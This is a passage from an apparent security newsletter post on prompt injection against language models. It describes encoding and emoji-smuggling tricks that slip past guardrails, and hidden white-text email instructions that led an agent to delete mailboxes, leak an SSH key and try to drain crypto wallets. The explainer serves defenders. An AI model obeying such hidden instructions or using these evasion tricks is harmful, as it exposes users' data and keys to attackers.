of obfuscation. Mindgard’s research tested character injection techniques against commercial guardrails including Azure Prompt Shield and Meta’s Prompt Guard. Some techniques, like emoji smuggling, achieved 100% evasion across every system tested. Stack all three and the model understands the query perfectly while every guardrail sees noise. How Indirect Prompt Injection Turns Email Into an Attack Vector Direct injection requires the attacker to type into the model’s input. Indirect injection skips that entirely. The attacker poisons data the model consumes during normal operation, and the same instruction-data conflation does the rest. OpenClaw, the open-source AI agent that hit 123,000 GitHub stars in 48 hours, connects to Gmail, Slack, Discord, and the local filesystem. When someone sends an OpenClaw user a normal-looking email with hidden instructions in tiny white text at the bottom, the agent reads the full message, including the invisible payload. One documented attack embedded instructions that convinced the agent the text was a system-level directive from the owner. The agent deleted all emails, including the trash folder. Another researcher extracted a private SSH key via a single poisoned email in five minutes. The root cause is identical: the email body is data, the hidden text is an instruction, and the model has no mechanism to tell them apart. CrowdStrike documented indirect prompt injection attempts on Moltbook, the AI-agent-only social network where OpenClaw instances interact, including one designed to drain crypto wallets. The attacker never touched OpenClaw directly. The poison was in the environment. For a deeper look at the foundational concepts behind these attacks, the AI Security 101 primer covers the full landscape. Paid unlocks the unfiltered version: complete archive, private Q&As, and early drops. Frequently Asked Questions What is instruction-data conflation in large language models? Instruction-data conflation means the model processes developer system prompts, user messages, and external content through the same attention pipeline with no privilege separation. An attacker’s payload gets the same treatment as a legitimate instruction. OWASP ranks this LLM01:2025, the top vulnerability in production LLM applications, because no post-training fix can create a hard boundary between trusted and untrusted input. Can base64 encoding really bypass AI guardrails? Yes. Models learn to decode base64 during pre-training on internet data, but safety training rarely covers encoded inputs. This creates a blind spot where the model processes restricted queries without triggering any filter. Mindgard’s research showed some character-level evasion techniques hit 100% success rates against production guardrails including Azure Prompt Shield. Multi-layer encoding stacking languages on top of output encoding compounds the problem. How does indirect prompt injection work through email? An attacker embeds hidden instructions in an email body, typically as tiny white text the human recipient never sees. When an AI agent processes that email, the model reads the hidden text as part of its input context and may follow the embedded instructions. Documented OpenClaw attacks have exfiltrated SSH keys, deleted entire mailboxes, and attempted cryptocurrency theft without direct access to the AI agent. ToxSec is run by a USMC veteran and Security Engineer with hands-on experience at AWS and the NSA. CISSP certified, M.S. in Cybersecurity Engineering. He covers security vulnerabilities, attack chains, and the tools defenders actually need to understand. This is a public episode. If you'd like to discuss this with other subscribers or get access to bonus episodes, visit www.toxsec.com/subscribe

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